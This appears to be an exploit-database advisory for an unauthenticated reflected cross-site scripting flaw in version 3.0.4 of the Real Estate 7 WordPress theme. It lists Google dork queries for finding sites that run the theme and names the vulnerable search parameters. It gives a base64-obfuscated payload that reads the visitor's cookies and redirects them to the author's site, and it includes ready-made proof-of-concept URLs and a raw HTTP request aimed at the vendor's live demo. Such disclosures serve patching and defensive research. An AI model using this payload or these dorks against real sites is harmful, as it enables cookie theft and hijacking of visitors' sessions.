Real Estate 7 WordPress theme v3.0.4 - Unauthenticated Reflected XSS

2020.10.28
ru Ex.Mi (RU) ru
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

[+] :: Exploit Title: Real Estate 7 WordPress theme v3.0.4 - Unauthenticated Reflected XSS [+] :: Google Dork #1: inurl:/wp-content/themes/realestate-7/ [+] :: Google Dork #2: inurl:/wp-content/themes/wp-pro-real-estate-7-child/ [+] :: Date: 2020-08-23 [+] :: Exploit Author: Ex.Mi [ https://ex-mi.ru ] [+] :: Vendor: Chris Robinson [ https://www.contempothemes.com ] [+] :: Software Version: 3.0.4 [+] :: Software Link: https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778 [+] :: Tested on: Kali Linux [+] :: CVE: [+] :: CWE: CWE-79 [i] :: Info: An Unauthenticated Reflected XSS vulnerability was discovered in the Real Estate 7 theme v3.0.4 for WordPress. Vulnerable parameters: ct_sqft_from, ct_sqft_to, ct_lotsize_from, ct_lotsize_to, ct_mls. [$] :: Payload: "><img src=x onerror=eval(atob(`amF2YXNjcmlwdDphbGVydChgRXguTWlgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly9leC1taS5ydS8nOw==`));> [!] :: PoC: https://contempothemes.com/wp-real-estate-7/elementor-demo/?ct_sqft_from=%22%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%60amF2YXNjcmlwdDphbGVydChgRXguTWlgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly9leC1taS5ydS8nOw%3D%3D%60%29%29%3B%3E [!] :: PoC (Burp Suite): GET /wp-real-estate-7/elementor-demo/?ct_sqft_from=%22%3E%3Cimg%20src%3Dx%20onerror%3Deval%28atob%28%60amF2YXNjcmlwdDphbGVydChgRXguTWlgKTthbGVydChkb2N1bWVudC5jb29raWUpO3dpbmRvdy5sb2NhdGlvbj0naHR0cHM6Ly9leC1taS5ydS8nOw%3D%3D%60%29%29%3B%3E HTTP/1.1 Host: contempothemes.com [@] :: Contacts: Website: ex-mi.ru Telegram: @ex_mi GitHub: @ex-mi Medium: @ex-mi

References:

https://ex-mi.ru/exploit/[2020-08-23]-[WordPress]-real-estate-7-theme-v3.0.4.txt
https://themeforest.net/item/wp-pro-real-estate-7-responsive-real-estate-wordpress-theme/12473778


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